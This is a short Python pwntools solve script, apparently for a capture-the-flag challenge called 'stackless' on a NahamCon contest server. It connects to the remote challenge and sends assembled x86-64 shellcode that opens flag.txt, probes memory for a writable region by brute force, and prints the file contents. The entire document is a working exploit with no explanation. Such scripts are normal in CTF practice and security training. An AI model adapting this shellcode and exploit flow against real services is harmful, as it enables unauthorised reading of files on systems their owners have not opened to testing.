solve.py

#!/usr/bin/env python3

from pwn import *

exe = ELF("./stackless_patched")

context.binary = exe


def conn():
    r = process([exe.path])
    return r


def main():
    #r = conn()
    r = remote("challenge.nahamcon.com", 30783)
    
    # Bruteforce for binary rw-
    # Start addr = 0x0000555555558000
    shellcode  = asm("""
        lea rdi, [rip + 0x44]
        mov rax, 2
        syscall


        mov r15, 0x0000555555556000
        mov rdi, rax
        mov rdx, 0x100
        loop:
            add r15, 0x4000
            mov rsi, r15
            mov rax, 0
            syscall
            cmp rax, 0xfffffffffffffff2
            je loop

        mov eax, 1
        mov rdi, 1
        syscall
    """)
    shellcode += b"flag.txt\x00"

    r.recvline()
    r.sendline(str(len(shellcode)))
    r.recvline()
    pause()
    r.sendline(shellcode)

    r.interactive()


if __name__ == "__main__":
    main()